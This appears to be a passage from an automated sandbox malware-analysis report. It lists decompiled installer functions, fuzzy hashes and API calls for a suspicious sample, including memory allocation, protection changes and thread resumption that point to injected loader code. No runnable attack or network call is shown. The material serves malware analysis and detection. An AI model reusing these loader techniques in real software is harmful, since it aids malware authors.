Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ae840c17bc4cb012e3c6e2f9739eb08ea49decd14d2b7f73774d31e5ba5825a
Instruction ID: 02c1e40b0c9780dd067322b7733c474732bd0f187a49f53fd7fd3c108ee94619
Opcode Fuzzy Hash: 6ae840c17bc4cb012e3c6e2f9739eb08ea49decd14d2b7f73774d31e5ba5825a
Instruction Fuzzy Hash: 7CF15570D04229CBDF28CFA8C8946ADBBB0FF44305F24816ED456BB281D7386A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 032C729A Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 423libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(B97F3312,?,7C361159,032C1EF6), ref: 032D3046

Strings

_bx, xrefs: 032C7908

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: _bx
API String ID: 1029625771-3762552340
Opcode ID: fbc88a26c2641c1a6f90743089e83da949803a278d6fb63d508d276ca3b56947
Instruction ID: a5c871ef755b409b1bd0c14521603ae549bfa0a0eec1a8be4db2742182a74a1b
Opcode Fuzzy Hash: fbc88a26c2641c1a6f90743089e83da949803a278d6fb63d508d276ca3b56947
Instruction Fuzzy Hash: 13E164757143469FDF349E288DA57DA37E3AF96790F99462ECC8987244D33288C6CB02

Uniqueness

Uniqueness Score: -1.00%

Function 032D4A3E Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 350COMMON

Download Yara Rule

Strings

D#w|, xrefs: 032D4A6D

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: D#w|
API String ID: 0-921975529
Opcode ID: aeaf7fab8aec70e9f68633bd184f72dcb15d252984acdbc96bfb056c7d81a359
Instruction ID: 914be87afac6831583f1a2963ed7b7a22cb7ccc8a50ea79da3d176b2ab2ffc36
Opcode Fuzzy Hash: aeaf7fab8aec70e9f68633bd184f72dcb15d252984acdbc96bfb056c7d81a359
Instruction Fuzzy Hash: FFA1FD35B64347DFCB15EE288CA43D977DAEF46660F9C457ECC468B681DB30888A8781

Uniqueness

Uniqueness Score: -1.00%

Function 032C5BB6 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 325libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(B97F3312,?,7C361159,032C1EF6), ref: 032D3046

Strings

/, xrefs: 032C5DF8

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: /
API String ID: 1029625771-2043925204
Opcode ID: 69233b9f694064f44adce7fc3c2d42631a4749169a499ca647982252fe8ffae6
Instruction ID: b6f003f200fa44583f4546eb8be6568c7c286adcc13039411b0dfb3269255df4
Opcode Fuzzy Hash: 69233b9f694064f44adce7fc3c2d42631a4749169a499ca647982252fe8ffae6
Instruction Fuzzy Hash: 5DA18834A343468FDB34DE258C657EA37A7AF86790F94422DDC899B204D770D9C18B42

Uniqueness

Uniqueness Score: -1.00%

Function 032D25D5 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 165fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,1A6D191A), ref: 032D2794

Strings

=, xrefs: 032D26DB

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: =
API String ID: 823142352-2322244508
Opcode ID: caf07f6299af1ada1a17618529a617ffefabaed75e26e3496cfb2245404a1045
Instruction ID: b44175646b530ecac55de86c18cab8081ad8bcca22bbad0009ed13f0461e4645
Opcode Fuzzy Hash: caf07f6299af1ada1a17618529a617ffefabaed75e26e3496cfb2245404a1045
Instruction Fuzzy Hash: 17516A357383028FDB18AE3889A77FA77B6EF91390F99851DDC8297541D77108C28A42

Uniqueness

Uniqueness Score: -1.00%

Function 0040699E Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040699E(WCHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileW(_a4, 0x426798); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x426798;
			}

0x004069a9
0x004069b2
0x00000000
0x004069bf
0x004069b5
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,00426798,00425F50,00406088,00425F50,00425F50,00000000,00425F50,00425F50, 4|v.|v,?,767C2EE0,00405D94,?,767C3420,767C2EE0), ref: 004069A9
FindClose.KERNEL32(00000000), ref: 004069B5

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction ID: 0ca7534fdffec89160a31ceabb6ef5ff718bfc83d1618d69d17f9e635378cbc3
Opcode Fuzzy Hash: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction Fuzzy Hash: 5ED012B15192205FC34057387E0C84B7A989F563317268A36B4AAF11E0CB348C3297AC

Uniqueness

Uniqueness Score: -1.00%

Function 032CB395 Relevance: 1.9, APIs: 1, Instructions: 371libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(B97F3312,?,7C361159,032C1EF6), ref: 032D3046

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 321042ece6de9ad776a5df315edd9451727ed376baf0c0bf39ea390be2cb4b05
Instruction ID: 0a64757b8810fdefbb05bf0d52682a7fdc098c7cafd914dfda51b408ef987330
Opcode Fuzzy Hash: 321042ece6de9ad776a5df315edd9451727ed376baf0c0bf39ea390be2cb4b05
Instruction Fuzzy Hash: FEB1BB36B243468FDB35DE3889A53EA37A79F56760F99827DCC85CB600D73188CAC641

Uniqueness

Uniqueness Score: -1.00%

Function 032D4B25 Relevance: 1.8, APIs: 1, Instructions: 255libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(B97F3312,?,7C361159,032C1EF6), ref: 032D3046

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f013d3dd02cf9a347b97329f4e340ba243f7c90bfd20e5ea2f1c2c46cd018ec8
Instruction ID: ced316db13082b5d9e399229b90d0dd88644be2007126e445d88fef99560d5bc
Opcode Fuzzy Hash: f013d3dd02cf9a347b97329f4e340ba243f7c90bfd20e5ea2f1c2c46cd018ec8
Instruction Fuzzy Hash: CF81FC3662434A8FDF34AE348CA63DA37A6DF46220F98466ECC8A87541C73049CAC742

Uniqueness

Uniqueness Score: -1.00%

Function 032D3CF5 Relevance: 1.7, APIs: 1, Instructions: 197memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 032D2F55: LoadLibraryA.KERNELBASE(B97F3312,?,7C361159,032C1EF6), ref: 032D3046

NtAllocateVirtualMemory.NTDLL(9481AA15), ref: 032D4044

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: AllocateLibraryLoadMemoryVirtual
String ID:
API String ID: 2616484454-0
Opcode ID: 23a9393a5929423ba6b4595bce10a18519daa653fb045487c28354b70f3178cd
Instruction ID: 31904d84213e09fa12ae0be5ab5deb590f903aab51bf4a82cff420fc66759a41
Opcode Fuzzy Hash: 23a9393a5929423ba6b4595bce10a18519daa653fb045487c28354b70f3178cd
Instruction Fuzzy Hash: A3618838624345CFEB34AE25C9513EA37A3AF427A0F45462ECCC69B190DB7189C4CB43

Uniqueness

Uniqueness Score: -1.00%

Function 032D5DCF Relevance: 1.6, APIs: 1, Instructions: 125nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 032D5EB4

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 3ae370001b1871b04e98e7e0a9df903a77454ee064df2845c1edfad4de4546a9
Instruction ID: e68265cb583dd59310540997fe3f2646b27840e01687a2beb6bb96a43da5d052
Opcode Fuzzy Hash: 3ae370001b1871b04e98e7e0a9df903a77454ee064df2845c1edfad4de4546a9
Instruction Fuzzy Hash: E8418E72624782CFC729DE38CC596D97791AFD6610F2C866DC855CB602D7318D47C741

Uniqueness

Uniqueness Score: -1.00%

Function 032D6480 Relevance: 1.6, APIs: 1, Instructions: 93nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(00000001,032D6BB7,-00000001085F00EC,032D168E,00000000,032C05A5), ref: 032D671A

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 9a26842a1c0495627d97b82add43e2c585e9c2445dc9b8336e9cdf56b43fa111
Instruction ID: ae9ed09cfee29803cfbab00f1eca0dffd5611a0e4ad77b3d9c86d295fe1eeb14
Opcode Fuzzy Hash: 9a26842a1c0495627d97b82add43e2c585e9c2445dc9b8336e9cdf56b43fa111
Instruction Fuzzy Hash: DC214D70778706CFDB28CD648AD03EB27579F96260FD8417ACD4387648D7B584C8C542

Uniqueness

Uniqueness Score: -1.00%

Function 004040C5 Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E004040C5(struct HWND__* _a4, intOrPtr _a8, int _a12, long _a16) {
				struct HWND__* _v28;
				void* _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				signed int _t36;
				signed int _t38;
				struct HWND__* _t48;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t117;
				int _t118;
				int _t122;
				signed int _t124;
				struct HWND__* _t127;
				struct HWND__* _t128;
				int _t129;
				intOrPtr _t130;
				long _t133;
				int _t135;
				int _t136;
				void* _t137;

				_t130 = _a8;
				if(_t130 == 0x110 || _t130 == 0x408) {
					_t34 = _a12;
					_t127 = _a4;
					__eflags = _t130 - 0x110;
					 *0x423730 = _t34;
					if(_t130 == 0x110) {
						 *0x42a268 = _t127;
						 *0x423744 = GetDlgItem(_t127, 1);
						_t91 = GetDlgItem(_t127, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x421710 = _t91;
						E004045C4(_t127);
						SetClassLongW(_t127, 0xfffffff2,  *0x429248);
						 *0x42922c = E0040140B(4);
						_t34 = 1;
						__eflags = 1;
						 *0x423730 = 1;
					}
					_t124 =  *0x40a39c; // 0x0
					_t136 = 0;
					_t133 = (_t124 << 6) +  *0x42a280;
					__eflags = _t124;
					if(_t124 < 0) {
						L36:
						E00404610(0x40b);
						while(1) {
							_t36 =  *0x423730;
							 *0x40a39c =  *0x40a39c + _t36;
							_t133 = _t133 + (_t36 << 6);
							_t38 =  *0x40a39c; // 0x0
							__eflags = _t38 -  *0x42a284;
							if(_t38 ==  *0x42a284) {
								E0040140B(1);
							}
							__eflags =  *0x42922c - _t136;
							if( *0x42922c != _t136) {
								break;
							}
							__eflags =  *0x40a39c -  *0x42a284; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t117 =  *(_t133 + 0x14);
							E004066A5(_t117, _t127, _t133, 0x43a000,  *((intOrPtr*)(_t133 + 0x24)));
							_push( *((intOrPtr*)(_t133 + 0x20)));
							_push(0xfffffc19);
							E004045C4(_t127);
							_push( *((intOrPtr*)(_t133 + 0x1c)));
							_push(0xfffffc1b);
							E004045C4(_t127);
							_push( *((intOrPtr*)(_t133 + 0x28)));
							_push(0xfffffc1a);
							E004045C4(_t127);
							_t48 = GetDlgItem(_t127, 3);
							__eflags =  *0x42a2ec - _t136;
							_v28 = _t48;
							if( *0x42a2ec != _t136) {
								_t117 = _t117 & 0x0000fefd | 0x00000004;
								__eflags = _t117;
							}
							ShowWindow(_t48, _t117 & 0x00000008); // executed
							EnableWindow( *(_t137 + 0x34), _t117 & 0x00000100); // executed
							E004045E6(_t117 & 0x00000002);
							_t118 = _t117 & 0x00000004;
							EnableWindow( *0x421710, _t118);
							__eflags = _t118 - _t136;
							if(_t118 == _t136) {
								_push(1);
							} else {
								_push(_t136);
							}
							EnableMenuItem(GetSystemMenu(_t127, _t136), 0xf060, ??);
							SendMessageW( *(_t137 + 0x3c), 0xf4, _t136, 1);
							__eflags =  *0x42a2ec - _t136;
							if( *0x42a2ec == _t136) {
								_push( *0x423744);
							} else {
								SendMessageW(_t127, 0x401, 2, _t136);
								_push( *0x421710);
							}
							E004045F9();
							E00406668(0x423748, E004040A6());
							E004066A5(0x423748, _t127, _t133,  &(0x423748[lstrlenW(0x423748)]),  *((intOrPtr*)(_t133 + 0x18)));
							SetWindowTextW(_t127, 0x423748); // executed
							_t67 = E00401389( *((intOrPtr*)(_t133 + 8)), _t136);
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t133 - _t136;
								if( *_t133 == _t136) {
									continue;
								}
								__eflags =  *(_t133 + 4) - 5;
								if( *(_t133 + 4) != 5) {
									DestroyWindow( *0x429238); // executed
									 *0x422720 = _t133;
									__eflags =  *_t133 - _t136;
									if( *_t133 <= _t136) {
										goto L60;
									}
									_t73 = CreateDialogParamW( *0x42a260,  *_t133 +  *0x429240 & 0x0000ffff, _t127,  *(0x40a3a0 +  *(_t133 + 4) * 4), _t133); // executed
									__eflags = _t73 - _t136;
									 *0x429238 = _t73;
									if(_t73 == _t136) {
										goto L60;
									}
									_push( *((intOrPtr*)(_t133 + 0x2c)));
									_push(6);
									E004045C4(_t73);
									GetWindowRect(GetDlgItem(_t127, 0x3fa), _t137 + 0x10);
									ScreenToClient(_t127, _t137 + 0x10);
									SetWindowPos( *0x429238, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
									E00401389( *((intOrPtr*)(_t133 + 0xc)), _t136);
									__eflags =  *0x42922c - _t136;
									if( *0x42922c != _t136) {
										goto L63;
									}
									ShowWindow( *0x429238, 8); // executed
									E00404610(0x405);
									goto L60;
								}
								__eflags =  *0x42a2ec - _t136;
								if( *0x42a2ec != _t136) {
									goto L63;
								}
								__eflags =  *0x42a2e0 - _t136;
								if( *0x42a2e0 != _t136) {
									continue;
								}
								goto L63;
							}
						}
						DestroyWindow( *0x429238);
						 *0x42a268 = _t136;
						EndDialog(_t127,  *0x421f18);
						goto L60;
					} else {
						__eflags = _t34 - 1;
						if(_t34 != 1) {
							L35:
							__eflags =  *_t133 - _t136;
							if( *_t133 == _t136) {
								goto L63;
							}
							goto L36;
						}
						_t86 = E00401389( *((intOrPtr*)(_t133 + 0x10)), 0);
						__eflags = _t86;
						if(_t86 == 0) {
							goto L35;
						}
						SendMessageW( *0x429238, 0x40f, 0, 1);
						__eflags =  *0x42922c;
						return 0 |  *0x42922c == 0x00000000;
					}
				} else {
					_t127 = _a4;
					_t136 = 0;
					if(_t130 == 0x47) {
						SetWindowPos( *0x423728, _t127, 0, 0, 0, 0, 0x13);
					}
					_t122 = _a12;
					if(_t130 != 5) {
						L8:
						if(_t130 != 0x40d) {
							__eflags = _t130 - 0x11;
							if(_t130 != 0x11) {
								__eflags = _t130 - 0x111;
								if(_t130 != 0x111) {
									goto L28;
								}
								_t135 = _t122 & 0x0000ffff;
								_t128 = GetDlgItem(_t127, _t135);
								__eflags = _t128 - _t136;
								if(_t128 == _t136) {
									L15:
									__eflags = _t135 - 1;
									if(_t135 != 1) {
										__eflags = _t135 - 3;
										if(_t135 != 3) {
											_t129 = 2;
											__eflags = _t135 - _t129;
											if(_t135 != _t129) {
												L27:
												SendMessageW( *0x429238, 0x111, _t122, _a16);
												goto L28;
											}
											__eflags =  *0x42a2ec - _t136;
											if( *0x42a2ec == _t136) {
												_t99 = E0040140B(3);
												__eflags = _t99;
												if(_t99 != 0) {
													goto L28;
												}
												 *0x421f18 = 1;
												L23:
												_push(0x78);
												L24:
												E0040459D();
												goto L28;
											}
											E0040140B(_t129);
											 *0x421f18 = _t129;
											goto L23;
										}
										__eflags =  *0x40a39c - _t136; // 0x0
										if(__eflags <= 0) {
											goto L27;
										}
										_push(0xffffffff);
										goto L24;
									}
									_push(_t135);
									goto L24;
								}
								SendMessageW(_t128, 0xf3, _t136, _t136);
								_t103 = IsWindowEnabled(_t128);
								__eflags = _t103;
								if(_t103 == 0) {
									L63:
									return 0;
								}
								goto L15;
							}
							SetWindowLongW(_t127, _t136, _t136);
							return 1;
						}
						DestroyWindow( *0x429238);
						 *0x429238 = _t122;
						L60:
						if( *0x425748 == _t136 &&  *0x429238 != _t136) {
							ShowWindow(_t127, 0xa); // executed
							 *0x425748 = 1;
						}
						goto L63;
					} else {
						asm("sbb eax, eax");
						ShowWindow( *0x423728,  ~(_t122 - 1) & 0x00000005);
						if(_t122 != 2 || (GetWindowLongW(_t127, 0xfffffff0) & 0x21010000) != 0x1000000) {
							L28:
							return E0040462B(_a8, _t122, _a16);
						} else {
							ShowWindow(_t127, 4);
							goto L8;
						}
					}
				}
			}

0x004040d0
0x004040d7
0x0040423e
0x00404242
0x00404246
0x00404248
0x0040424d
0x00404258
0x00404263
0x00404268
0x0040426a
0x0040426c
0x0040426f
0x00404274
0x00404282
0x0040428f
0x00404296
0x00404296
0x00404297
0x00404297
0x0040429c
0x004042a2
0x004042a9
0x004042af
0x004042b1
0x004042f1
0x004042f6
0x004042fb
0x004042fb
0x00404300
0x00404309
0x0040430b
0x00404310
0x00404316
0x0040431a
0x0040431a
0x0040431f
0x00404325
0x00000000
0x00000000
0x00404330
0x00404336
0x00000000
0x00000000
0x0040433f
0x00404347
0x0040434c
0x0040434f
0x00404355
0x0040435a
0x0040435d
0x00404363
0x00404368
0x0040436b
0x00404371
0x00404379
0x0040437f
0x00404385
0x00404389
0x00404390
0x00404390
0x00404390
0x0040439a
0x004043ac
0x004043b8
0x004043bd
0x004043c7
0x004043cd
0x004043cf
0x004043d4
0x004043d1
0x004043d1
0x004043d1
0x004043e4
0x004043fc
0x004043fe
0x00404404
0x00404419
0x00404406
0x0040440f
0x00404411
0x00404411
0x0040441f
0x00404430
0x00404446
0x0040444d
0x00404457
0x0040445c
0x0040445e
0x00000000
0x00404464
0x00404464
0x00404466
0x00000000
0x00000000
0x0040446c
0x00404470
0x00404495
0x0040449b
0x004044a1
0x004044a3
0x00000000
0x00000000
0x004044c9
0x004044cf
0x004044d1
0x004044d6
0x00000000
0x00000000
0x004044dc
0x004044df
0x004044e2
0x004044f9
0x00404505
0x0040451e
0x00404528
0x0040452d
0x00404533
0x00000000
0x00000000
0x0040453d
0x00404548
0x00000000
0x00404548
0x00404472
0x00404478
0x00000000
0x00000000
0x0040447e
0x00404484
0x00000000
0x00000000
0x00000000
0x0040448a
0x0040445e
0x00404555
0x00404561
0x00404568
0x00000000
0x004042b3
0x004042b3
0x004042b6
0x004042e9
0x004042e9
0x004042eb
0x00000000
0x00000000
0x00000000
0x004042eb
0x004042bc
0x004042c1
0x004042c3
0x00000000
0x00000000
0x004042d3
0x004042db
0x00000000
0x004042e1
0x004040e9
0x004040e9
0x004040ed
0x004040f2
0x00404101
0x00404101
0x00404107
0x0040410e
0x00404152
0x00404158
0x00404171
0x00404174
0x00404187
0x0040418d
0x00000000
0x00000000
0x00404193
0x0040419e
0x004041a0
0x004041a2
0x004041c1
0x004041c1
0x004041c4
0x004041c9
0x004041cc
0x004041dc
0x004041dd
0x004041df
0x00404215
0x00404225
0x00000000
0x00404225
0x004041e1
0x004041e7
0x00404200
0x00404205
0x00404207
0x00000000
0x00000000
0x00404209
0x004041f5
0x004041f5
0x004041f7
0x004041f7
0x00000000
0x004041f7
0x004041ea
0x004041ef
0x00000000
0x004041ef
0x004041ce
0x004041d4
0x00000000
0x00000000
0x004041d6
0x00000000
0x004041d6
0x004041c6
0x00000000
0x004041c6
0x004041ac
0x004041b3
0x004041b9
0x004041bb
0x00404591
0x00000000
0x00404591
0x00000000
0x004041bb
0x00404179
0x00000000
0x00404181
0x00404160
0x00404166
0x0040456e
0x00404574
0x00404581
0x00404587
0x00404587
0x00000000
0x00404110
0x00404115
0x00404121
0x0040412a
0x0040422b
0x00000000
0x00404149
0x0040414c
0x00000000
0x0040414c
0x0040412a
0x0040410e

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404101
ShowWindow.USER32(?), ref: 00404121
GetWindowLongW.USER32(?,000000F0), ref: 00404133
ShowWindow.USER32(?,00000004), ref: 0040414C
DestroyWindow.USER32 ref: 00404160
SetWindowLongW.USER32(?,00000000,00000000), ref: 00404179
GetDlgItem.USER32(?,?), ref: 00404198
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004041AC
IsWindowEnabled.USER32(00000000), ref: 004041B3
GetDlgItem.USER32(?,00000001), ref: 0040425E
GetDlgItem.USER32(?,00000002), ref: 00404268
SetClassLongW.USER32(?,000000F2,?), ref: 00404282
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004042D3
GetDlgItem.USER32(?,00000003), ref: 00404379
ShowWindow.USER32(00000000,?), ref: 0040439A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 004043AC
EnableWindow.USER32(?,?), ref: 004043C7
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004043DD
EnableMenuItem.USER32(00000000), ref: 004043E4
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004043FC
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040440F
lstrlenW.KERNEL32(00423748,?,00423748,00000000), ref: 00404439
SetWindowTextW.USER32(?,00423748), ref: 0040444D
ShowWindow.USER32(?,0000000A), ref: 00404581

Strings

H7B, xrefs: 00404429

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Long$EnableMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: H7B
API String ID: 121052019-2300413410
Opcode ID: b499a380baa1669b9d39d87f51061d2fd0c3acf201e93ffa24678bb3f42416dd
Instruction ID: 1d4a55fced449df2e2a9dfc159c1061f424388fbea236c5341ec002980a30b6c
Opcode Fuzzy Hash: b499a380baa1669b9d39d87f51061d2fd0c3acf201e93ffa24678bb3f42416dd
Instruction Fuzzy Hash: C0C1C2B1600604FBDB216F61EE85E2A3B78EB85745F40097EF781B51F0CB3958529B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00403D17 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00403D17(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t22;
				void* _t30;
				void* _t32;
				int _t33;
				void* _t36;
				int _t39;
				int _t40;
				int _t44;
				short _t63;
				WCHAR* _t65;
				signed char _t69;
				WCHAR* _t76;
				intOrPtr _t82;
				WCHAR* _t87;

				_t82 =  *0x42a270;
				_t22 = E00406A35(2);
				_t90 = _t22;
				if(_t22 == 0) {
					_t76 = 0x423748;
					L"1033" = 0x30;
					 *0x437002 = 0x78;
					 *0x437004 = 0;
					E00406536(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x423748, 0);
					__eflags =  *0x423748;
					if(__eflags == 0) {
						E00406536(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x423748, 0);
					}
					lstrcatW(L"1033", _t76);
				} else {
					E004065AF(L"1033",  *_t22() & 0x0000ffff);
				}
				E00403FED(_t78, _t90);
				_t86 = L"C:\\Users\\Arthur\\AppData\\Local\\Temp";
				 *0x42a2e0 =  *0x42a278 & 0x00000020;
				 *0x42a2fc = 0x10000;
				if(E0040603F(_t90, L"C:\\Users\\Arthur\\AppData\\Local\\Temp") != 0) {
					L16:
					if(E0040603F(_t98, _t86) == 0) {
						E004066A5(_t76, 0, _t82, _t86,  *((intOrPtr*)(_t82 + 0x118)));
					}
					_t30 = LoadImageW( *0x42a260, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x429248 = _t30;
					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t32 = E00403FED(_t78, __eflags);
							__eflags =  *0x42a300;
							if( *0x42a300 != 0) {
								_t33 = E0040579D(_t32, 0);
								__eflags = _t33;
								if(_t33 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x42922c;
								if( *0x42922c == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x423728, 5); // executed
							_t39 = E004069C5("RichEd20"); // executed
							__eflags = _t39;
							if(_t39 == 0) {
								E004069C5("RichEd32");
							}
							_t87 = L"RichEdit20W";
							_t40 = GetClassInfoW(0, _t87, 0x429200);
							__eflags = _t40;
							if(_t40 == 0) {
								GetClassInfoW(0, L"RichEdit", 0x429200);
								 *0x429224 = _t87;
								RegisterClassW(0x429200);
							}
							_t44 = DialogBoxParamW( *0x42a260,  *0x429240 + 0x00000069 & 0x0000ffff, 0, E004040C5, 0); // executed
							E00403C67(E0040140B(5), 1);
							return _t44;
						}
						L22:
						_t36 = 2;
						return _t36;
					} else {
						_t78 =  *0x42a260;
						 *0x429204 = E00401000;
						 *0x429210 =  *0x42a260;
						 *0x429214 = _t30;
						 *0x429224 = 0x40a3b4;
						if(RegisterClassW(0x429200) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoW(0x30, 0,  &_v16, 0);
